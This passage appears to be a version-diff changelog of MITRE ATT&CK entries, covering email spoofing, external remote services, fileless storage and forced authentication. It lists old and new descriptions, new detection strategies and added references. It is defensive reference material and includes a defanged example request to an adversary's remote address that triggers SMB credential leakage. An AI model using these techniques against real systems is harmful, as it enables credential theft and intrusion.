x_mitre_contributors		Nay Myo Hlaing (Ethan), DBS Bank

[T1589.002] Gather Victim Identity Information: Email Addresses

Current version: 1.3

Version changed from: 1.2 → 1.3

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0814: Detection of Email Addresses

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:26:21.953000+00:00	2025-10-24 17:48:54.336000+00:00
x_mitre_detection	Monitor for suspicious network traffic that could be indicative of probing for email addresses and/or usernames, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
x_mitre_version	1.2	1.3

[T1672] Email Spoofing

Current version: 1.1

Version changed from: 1.0 → 1.1

	Old Description			New Description
t	1	Adversaries may fake, or spoof, a sender’s identity by modif	t	1	Adversaries may fake, or spoof, a sender’s identity by modif
	>	ying the value of relevant email headers in order to establi		>	ying the value of relevant email headers in order to establi
	>	sh contact with victims under false pretenses.(Citation: Pro		>	sh contact with victims under false pretenses.(Citation: Pro
	>	ofpoint TA427 April 2024) In addition to actual email conten		>	ofpoint TA427 April 2024) In addition to actual email conten
	>	t, email headers (such as the FROM header, which contains th		>	t, email headers (such as the FROM header, which contains th
	>	e email address of the sender) may also be modified. Email c		>	e email address of the sender) may also be modified. Email c
	>	lients display these headers when emails appear in a victim'		>	lients display these headers when emails appear in a victim'
	>	s inbox, which may cause modified emails to appear as if the		>	s inbox, which may cause modified emails to appear as if the
	>	y were from the spoofed entity. This behavior may succeed		>	y were from the spoofed entity. This behavior may succeed
	>	when the spoofed entity either does not enable or enforce id		>	when the spoofed entity either does not enable or enforce id
	>	entity authentication tools such as Sender Policy Framework		>	entity authentication tools such as Sender Policy Framework
	>	(SPF), DomainKeys Identified Mail (DKIM), and/or Domain-base		>	(SPF), DomainKeys Identified Mail (DKIM), and/or Domain-base
	>	d Message Authentication, Reporting and Conformance (DMARC).		>	d Message Authentication, Reporting and Conformance (DMARC).
	>	(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-		>	(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-
	>	overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM a		>	overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM a
	>	re configured properly, spoofing may still succeed when a do		>	re configured properly, spoofing may still succeed when a do
	>	main sets a weak DMARC policy such as `v=DMARC1; p=none; fo=		>	main sets a weak DMARC policy such as `v=DMARC1; p=none; fo=
	>	1;`. This means that while DMARC is technically present, ema		>	1;`. This means that while DMARC is technically present, ema
	>	il servers are not instructed to take any filtering action w		>	il servers are not instructed to take any filtering action w
	>	hen emails fail authentication checks.(Citation: Proofpoint		>	hen emails fail authentication checks.(Citation: Proofpoint
	>	TA427 April 2024)(Citation: ic3-dprk) Adversaries may abuse		>	TA427 April 2024)(Citation: ic3-dprk) Adversaries may abuse
	>	absent or weakly configured SPF, SKIM, and/or DMARC policie		>	Microsoft 365’s Direct Send functionality to spoof internal
	>	s to conceal social engineering attempts(Citation: ic3-dprk)		>	users by using internal devices like printers to send email
	>	such as [Phishing](https://attack.mitre.org/techniques/T156		>	s without authentication.(Citation: Barnea DirectSend) Adver
	>	6). They may also leverage email spoofing for [Impersonation		>	saries may also abuse absent or weakly configured SPF, SKIM,
	>	](https://attack.mitre.org/techniques/T1656) of legitimate e		>	and/or DMARC policies to conceal social engineering attempt
	>	xternal individuals and organizations, such as journalists a		>	s(Citation: ic3-dprk) such as [Phishing](https://attack.mitr
	>	nd academics.(Citation: ic3-dprk)		>	e.org/techniques/T1566). They may also leverage email spoofi
				>	ng for [Impersonation](https://attack.mitre.org/techniques/T
				>	1656) of legitimate external individuals and organizations,
				>	such as journalists and academics.(Citation: ic3-dprk)

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)

New Detections (Detection Strategies -> Technique):

DET0431: Detection Strategy for Email Spoofing

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:15.222000+00:00	2025-09-24 21:03:46.869000+00:00
description	Adversaries may fake, or spoof, a sender’s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.(Citation: Proofpoint TA427 April 2024) In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity. This behavior may succeed when the spoofed entity either does not enable or enforce identity authentication tools such as Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-based Message Authentication, Reporting and Conformance (DMARC).(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM are configured properly, spoofing may still succeed when a domain sets a weak DMARC policy such as `v=DMARC1; p=none; fo=1;`. This means that while DMARC is technically present, email servers are not instructed to take any filtering action when emails fail authentication checks.(Citation: Proofpoint TA427 April 2024)(Citation: ic3-dprk) Adversaries may abuse absent or weakly configured SPF, SKIM, and/or DMARC policies to conceal social engineering attempts(Citation: ic3-dprk) such as [Phishing](https://attack.mitre.org/techniques/T1566). They may also leverage email spoofing for [Impersonation](https://attack.mitre.org/techniques/T1656) of legitimate external individuals and organizations, such as journalists and academics.(Citation: ic3-dprk)	Adversaries may fake, or spoof, a sender’s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.(Citation: Proofpoint TA427 April 2024) In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity. This behavior may succeed when the spoofed entity either does not enable or enforce identity authentication tools such as Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-based Message Authentication, Reporting and Conformance (DMARC).(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM are configured properly, spoofing may still succeed when a domain sets a weak DMARC policy such as `v=DMARC1; p=none; fo=1;`. This means that while DMARC is technically present, email servers are not instructed to take any filtering action when emails fail authentication checks.(Citation: Proofpoint TA427 April 2024)(Citation: ic3-dprk) Adversaries may abuse Microsoft 365’s Direct Send functionality to spoof internal users by using internal devices like printers to send emails without authentication.(Citation: Barnea DirectSend) Adversaries may also abuse absent or weakly configured SPF, SKIM, and/or DMARC policies to conceal social engineering attempts(Citation: ic3-dprk) such as [Phishing](https://attack.mitre.org/techniques/T1566). They may also leverage email spoofing for [Impersonation](https://attack.mitre.org/techniques/T1656) of legitimate external individuals and organizations, such as journalists and academics.(Citation: ic3-dprk)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	1.1

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Barnea DirectSend', 'description': 'Tom Barnea. (2025, September 9). Ongoing Campaign Abuses Microsoft 365’s Direct Send to Deliver Phishing Emails. Retrieved September 24, 2025.', 'url': 'https://www.varonis.com/blog/direct-send-exploit'}

[T1190] Exploit Public-Facing Application

Current version: 2.8

Version changed from: 2.7 → 2.8

New Mitigations:

M1037: Filter Network Traffic

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0080: Exploit Public-Facing Application – multi-signal correlation (request → error → post-exploit process/egress)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:25.266000+00:00	2025-10-24 17:48:41.788000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.
x_mitre_version	2.7	2.8

iterable_item_added
STIX Field	Old value	New Value
x_mitre_contributors		Don Le, Stifel Financial

[T1090.002] Proxy: External Proxy

Current version: 1.3

Version changed from: 1.2 → 1.3

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0325: External Proxy Behavior via Outbound Relay to Intermediate Infrastructure

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:38.556000+00:00	2025-10-24 17:48:54.165000+00:00
x_mitre_detection	Analyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)
x_mitre_version	1.2	1.3

[T1133] External Remote Services

Current version: 2.5

Version changed from: 2.4 → 2.5

	Old Description			New Description
t	1	Adversaries may leverage external-facing remote services to	t	1	Adversaries may leverage external-facing remote services to
	>	initially access and/or persist within a network. Remote ser		>	initially access and/or persist within a network. Remote ser
	>	vices such as VPNs, Citrix, and other access mechanisms allo		>	vices such as VPNs, Citrix, and other access mechanisms allo
	>	w users to connect to internal enterprise network resources		>	w users to connect to internal enterprise network resources
	>	from external locations. There are often remote service gate		>	from external locations. There are often remote service gate
	>	ways that manage connections and credential authentication f		>	ways that manage connections and credential authentication f
	>	or these services. Services such as [Windows Remote Manageme		>	or these services. Services such as [Windows Remote Manageme
	>	nt](https://attack.mitre.org/techniques/T1021/006) and [VNC]		>	nt](https://attack.mitre.org/techniques/T1021/006) and [VNC]
	>	(https://attack.mitre.org/techniques/T1021/005) can also be		>	(https://attack.mitre.org/techniques/T1021/005) can also be
	>	used externally.(Citation: MacOS VNC software for Remote Des		>	used externally.(Citation: MacOS VNC software for Remote Des
	>	ktop) Access to [Valid Accounts](https://attack.mitre.org/t		>	ktop) Access to [Valid Accounts](https://attack.mitre.org/t
	>	echniques/T1078) to use the service is often a requirement,		>	echniques/T1078) to use the service is often a requirement,
	>	which could be obtained through credential pharming or by ob		>	which could be obtained through credential pharming or by ob
	>	taining the credentials from users after compromising the en		>	taining the credentials from users after compromising the en
	>	terprise network.(Citation: Volexity Virtual Private Keylogg		>	terprise network.(Citation: Volexity Virtual Private Keylogg
	>	ing) Access to remote services may be used as a redundant or		>	ing) Access to remote services may be used as a redundant or
	>	persistent access mechanism during an operation. Access ma		>	persistent access mechanism during an operation. Access ma
	>	y also be gained through an exposed service that doesn’t req		>	y also be gained through an exposed service that doesn’t req
	>	uire authentication. In containerized environments, this may		>	uire authentication. In containerized environments, this may
	>	include an exposed Docker API, Kubernetes API server, kubel		>	include an exposed Docker API, Kubernetes API server, kubel
	>	et, or web application such as the Kubernetes dashboard.(Cit		>	et, or web application such as the Kubernetes dashboard.(Cit
	>	ation: Trend Micro Exposed Docker Server)(Citation: Unit 42		>	ation: Trend Micro Exposed Docker Server)(Citation: Unit 42
	>	Hildegard Malware)		>	Hildegard Malware) Adversaries may also establish persisten
				>	ce on network by configuring a Tor hidden service on a compr
				>	omised system. Adversaries may utilize the tool `ShadowLink`
				>	to facilitate the installation and configuration of the Tor
				>	hidden service. Tor hidden service is then accessible via t
				>	he Tor network because `ShadowLink` sets up a .onion address
				>	on the compromised system. `ShadowLink` may be used to forw
				>	ard any inbound connections to RDP, allowing the adversaries
				>	to have remote access.(Citation: The BadPilot campaign) Adv
				>	ersaries may get `ShadowLink` to persist on a system by masq
				>	uerading it as an MS Defender application.(Citation: Russian
				>	threat actors dig in, prepare to seize on war fatigue)

New Mitigations:

M1021: Restrict Web-Based Content

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0028: Logon Session (Logon Session Metadata)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0354: Behavior-chain detection for T1133 External Remote Services across Windows, Linux, macOS, Containers

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Logon Session: Logon Session Metadata', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:34:58.667000+00:00	2025-10-24 17:48:24.982000+00:00
description	Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop) Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation. Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)	Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop) Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation. Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware) Adversaries may also establish persistence on network by configuring a Tor hidden service on a compromised system. Adversaries may utilize the tool `ShadowLink` to facilitate the installation and configuration of the Tor hidden service. Tor hidden service is then accessible via the Tor network because `ShadowLink` sets up a .onion address on the compromised system. `ShadowLink` may be used to forward any inbound connections to RDP, allowing the adversaries to have remote access.(Citation: The BadPilot campaign) Adversaries may get `ShadowLink` to persist on a system by masquerading it as an MS Defender application.(Citation: Russian threat actors dig in, prepare to seize on war fatigue)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours. When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.
x_mitre_version	2.4	2.5

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Russian threat actors dig in, prepare to seize on war fatigue', 'description': 'Microsoft Threat Intelligence. (2023, December 7). Russian threat actors dig in, prepare to seize on war fatigue. Retrieved June 18, 2025.', 'url': 'https://www.microsoft.com/en-us/security/security-insider/intelligence-reports/russian-threat-actors-dig-in-prepare-to-seize-on-war-fatigue'}
external_references		{'source_name': 'The BadPilot campaign', 'description': 'Microsoft Threat Intelligence. (2025, February 12). The BadPilot campaign: Seashell Blizzard subgroup conducts multiyear global access operation. Retrieved June 18, 2025.', 'url': 'https://www.microsoft.com/en-us/security/blog/2025/02/12/the-badpilot-campaign-seashell-blizzard-subgroup-conducts-multiyear-global-access-operation/?ref=thestack.technology'}
x_mitre_contributors		Liran Ravich, CardinalOps

[T1071.002] Application Layer Protocol: File Transfer Protocols

Current version: 1.4

Version changed from: 1.3 → 1.4

New Mitigations:

M1037: Filter Network Traffic

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0416: Detection of File Transfer Protocol-Based C2 (FTP, FTPS, SMB, TFTP)

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_contributors		['Don Le, Stifel Financial']

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:52.946000+00:00	2025-10-24 17:49:08.302000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.(Citation: University of Birmingham C2)
x_mitre_version	1.3	1.4

[T1027.011] Obfuscated Files or Information: Fileless Storage

Current version: 2.1

Version changed from: 2.0 → 2.1

	Old Description			New Description
t	1	Adversaries may store data in "fileless" formats to conceal	t	1	Adversaries may store data in "fileless" formats to conceal
	>	malicious activity from defenses. Fileless storage can be br		>	malicious activity from defenses. Fileless storage can be br
	>	oadly defined as any format other than a file. Common exampl		>	oadly defined as any format other than a file. Common exampl
	>	es of non-volatile fileless storage in Windows systems inclu		>	es of non-volatile fileless storage in Windows systems inclu
	>	de the Windows Registry, event logs, or WMI repository.(Cita		>	de the Windows Registry, event logs, or WMI repository.(Cita
	>	tion: Microsoft Fileless)(Citation: SecureList Fileless) In		>	tion: Microsoft Fileless)(Citation: SecureList Fileless) Sha
	>	Linux systems, shared memory directories such as `/dev/shm`,		>	red memory directories on Linux systems (`/dev/shm`, `/run/s
	>	`/run/shm`, `/var/run`, and `/var/lock` may also be conside		>	hm`, `/var/run`, and `/var/lock`) and volatile directories o
	>	red fileless storage, as files written to these directories		>	n Network Devices (`/tmp` and `/volatile`) may also be consi
	>	are mapped directly to RAM and not stored on the disk.(Citat		>	dered fileless storage, as files written to these directorie
	>	ion: Elastic Binary Executed from Shared Memory Directory)(C		>	s are mapped directly to RAM and not stored on the disk.(Cit
	>	itation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Ma		>	ation: Elastic Binary Executed from Shared Memory Directory)
	>	lware 2024) Similar to fileless in-memory behaviors such as		>	(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik
	>	[Reflective Code Loading](https://attack.mitre.org/techniqu		>	Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISC
	>	es/T1620) and [Process Injection](https://attack.mitre.org/t		>	O Nexus 900 Config). Similar to fileless in-memory behavior
	>	echniques/T1055), fileless data storage may remain undetecte		>	s such as [Reflective Code Loading](https://attack.mitre.org
	>	d by anti-virus and other endpoint security tools that can o		>	/techniques/T1620) and [Process Injection](https://attack.mi
	>	nly access specific file formats from disk storage. Leveragi		>	tre.org/techniques/T1055), fileless data storage may remain
	>	ng fileless storage may also allow adversaries to bypass the		>	undetected by anti-virus and other endpoint security tools t
	>	protections offered by read-only file systems in Linux.(Cit		>	hat can only access specific file formats from disk storage.
	>	ation: Sysdig Fileless Malware 23022) Adversaries may use f		>	Leveraging fileless storage may also allow adversaries to b
	>	ileless storage to conceal various types of stored data, inc		>	ypass the protections offered by read-only file systems in L
	>	luding payloads/shellcode (potentially being used as part of		>	inux.(Citation: Sysdig Fileless Malware 23022) Adversaries
	>	[Persistence](https://attack.mitre.org/tactics/TA0003)) and		>	may use fileless storage to conceal various types of stored
	>	collected data not yet exfiltrated from the victim (e.g., [		>	data, including payloads/shellcode (potentially being used a
	>	Local Data Staging](https://attack.mitre.org/techniques/T107		>	s part of [Persistence](https://attack.mitre.org/tactics/TA0
	>	4/001)). Adversaries also often encrypt, encode, splice, or		>	003)) and collected data not yet exfiltrated from the victim
	>	otherwise obfuscate this fileless data when stored. Some fo		>	(e.g., [Local Data Staging](https://attack.mitre.org/techni
	>	rms of fileless storage activity may indirectly create artif		>	ques/T1074/001)). Adversaries also often encrypt, encode, sp
	>	acts in the file system, but in central and otherwise diffic		>	lice, or otherwise obfuscate this fileless data when stored.
	>	ult to inspect formats such as the WMI (e.g., `%SystemRoot%\		>	Some forms of fileless storage activity may indirectly cr
	>	System32\Wbem\Repository`) or Registry (e.g., `%SystemRoot%\		>	eate artifacts in the file system, but in central and otherw
	>	System32\Config`) physical files.(Citation: Microsoft Filele		>	ise difficult to inspect formats such as the WMI (e.g., `%Sy
	>	ss)		>	stemRoot%\System32\Wbem\Repository`) or Registry (e.g., `%Sy
				>	stemRoot%\System32\Config`) physical files.(Citation: Micros
				>	oft Fileless)

Dropped Detections (Data Components -> Technique):

DS0005: WMI (WMI Creation)
DS0009: Process (Process Creation)
DS0024: Windows Registry (Windows Registry Key Creation)

New Detections (Detection Strategies -> Technique):

DET0344: Detection Strategy for Fileless Storage via Registry, WMI, and Shared Memory

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Windows Registry: Windows Registry Key Creation', 'WMI: WMI Creation', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:35:48.121000+00:00	2025-06-05 15:30:20.139000+00:00
description	Adversaries may store data in "fileless" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) In Linux systems, shared memory directories such as `/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock` may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024) Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022) Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\System32\Wbem\Repository`) or Registry (e.g., `%SystemRoot%\System32\Config`) physical files.(Citation: Microsoft Fileless)	Adversaries may store data in "fileless" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) Shared memory directories on Linux systems (`/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`) and volatile directories on Network Devices (`/tmp` and `/volatile`) may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISCO Nexus 900 Config). Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022) Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\System32\Wbem\Repository`) or Registry (e.g., `%SystemRoot%\System32\Config`) physical files.(Citation: Microsoft Fileless)
x_mitre_version	2.0	2.1

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Bitsight 7777 Botnet', 'description': 'Batista, João. Gi7w0rm. (2024, August 27). Retrieved June 5, 2025.', 'url': 'https://www.bitsight.com/blog/7777-botnet-insights-multi-target-botnet'}
external_references		{'source_name': 'CISCO Nexus 900 Config', 'description': 'CISCO. (2021, September 14). Cisco Nexus 9000 Series NX-OS Fundamentals Configuration Guide, Release 7.x. Retrieved June 5, 2025.', 'url': 'https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus9000/sw/7-x/fundamentals/configuration/guide/b_Cisco_Nexus_9000_Series_NX-OS_Fundamentals_Configuration_Guide_7x/b_Cisco_Nexus_9000_Series_NX-OS_Fundamentals_Configuration_Guide_7x_chapter_01000.html'}

[T1187] Forced Authentication

Current version: 1.4

Version changed from: 1.3 → 1.4

	Old Description			New Description
t	1	Adversaries may gather credential material by invoking or fo	t	1	Adversaries may gather credential material by invoking or fo
	>	rcing a user to automatically provide authentication informa		>	rcing a user to automatically provide authentication informa
	>	tion through a mechanism in which they can intercept. The S		>	tion through a mechanism in which they can intercept. The S
	>	erver Message Block (SMB) protocol is commonly used in Windo		>	erver Message Block (SMB) protocol is commonly used in Windo
	>	ws networks for authentication and communication between sys		>	ws networks for authentication and communication between sys
	>	tems for access to resources and file sharing. When a Window		>	tems for access to resources and file sharing. When a Window
	>	s system attempts to connect to an SMB resource it will auto		>	s system attempts to connect to an SMB resource it will auto
	>	matically attempt to authenticate and send credential inform		>	matically attempt to authenticate and send credential inform
	>	ation for the current user to the remote system. (Citation:		>	ation for the current user to the remote system.(Citation: W
	>	Wikipedia Server Message Block) This behavior is typical in		>	ikipedia Server Message Block) This behavior is typical in e
	>	enterprise environments so that users do not need to enter c		>	nterprise environments so that users do not need to enter cr
	>	redentials to access network resources. Web Distributed Aut		>	edentials to access network resources. Web Distributed Auth
	>	horing and Versioning (WebDAV) is also typically used by Win		>	oring and Versioning (WebDAV) is also typically used by Wind
	>	dows systems as a backup protocol when SMB is blocked or fai		>	ows systems as a backup protocol when SMB is blocked or fail
	>	ls. WebDAV is an extension of HTTP and will typically operat		>	s. WebDAV is an extension of HTTP and will typically operate
	>	e over TCP ports 80 and 443. (Citation: Didier Stevens WebDA		>	over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV
	>	V Traffic) (Citation: Microsoft Managing WebDAV Security) A		>	Traffic)(Citation: Microsoft Managing WebDAV Security) Adve
	>	dversaries may take advantage of this behavior to gain acces		>	rsaries may take advantage of this behavior to gain access t
	>	s to user account hashes through forced SMB/WebDAV authentic		>	o user account hashes through forced SMB/WebDAV authenticati
	>	ation. An adversary can send an attachment to a user through		>	on. An adversary can send an attachment to a user through sp
	>	spearphishing that contains a resource link to an external		>	earphishing that contains a resource link to an external ser
	>	server controlled by the adversary (i.e. [Template Injection		>	ver controlled by the adversary (i.e. [Template Injection](
	>	](https://attack.mitre.org/techniques/T1221)), or place a sp		>	https://attack.mitre.org/techniques/T1221)), or place a spec
	>	ecially crafted file on navigation path for privileged accou		>	ially crafted file on navigation path for privileged account
	>	nts (e.g. .SCF file placed on desktop) or on a publicly acce		>	s (e.g. .SCF file placed on desktop) or on a publicly access
	>	ssible share to be accessed by victim(s). When the user's sy		>	ible share to be accessed by victim(s). When the user's syst
	>	stem accesses the untrusted resource it will attempt authent		>	em accesses the untrusted resource, it will attempt authenti
	>	ication and send information, including the user's hashed cr		>	cation and send information, including the user's hashed cre
	>	edentials, over SMB to the adversary controlled server. (Cit		>	dentials, over SMB to the adversary-controlled server.(Citat
	>	ation: GitHub Hashjacking) With access to the credential has		>	ion: GitHub Hashjacking) With access to the credential hash,
	>	h, an adversary can perform off-line [Brute Force](https://a		>	an adversary can perform off-line [Brute Force](https://att
	>	ttack.mitre.org/techniques/T1110) cracking to gain access to		>	ack.mitre.org/techniques/T1110) cracking to gain access to p
	>	plaintext credentials. (Citation: Cylance Redirect to SMB)		>	laintext credentials.(Citation: Cylance Redirect to SMB) Th
	>	There are several different ways this can occur. (Citation:		>	ere are several different ways this can occur.(Citation: Osa
	>	Osanda Stealing NetNTLM Hashes) Some specifics from in-the-		>	nda Stealing NetNTLM Hashes) Some specifics from in-the-wild
	>	wild use include: * A spearphishing attachment containing a		>	use include: * A spearphishing attachment containing a doc
	>	document with a resource that is automatically loaded when		>	ument with a resource that is automatically loaded when the
	>	the document is opened (i.e. [Template Injection](https://at		>	document is opened (i.e. [Template Injection](https://attack
	>	tack.mitre.org/techniques/T1221)). The document can include,		>	.mitre.org/techniques/T1221)). The document can include, for
	>	for example, a request similar to <code>file[:]//[remote ad		>	example, a request similar to <code>file[:]//[remote addres
	>	dress]/Normal.dotm</code> to trigger the SMB request. (Citat		>	s]/Normal.dotm</code> to trigger the SMB request.(Citation:
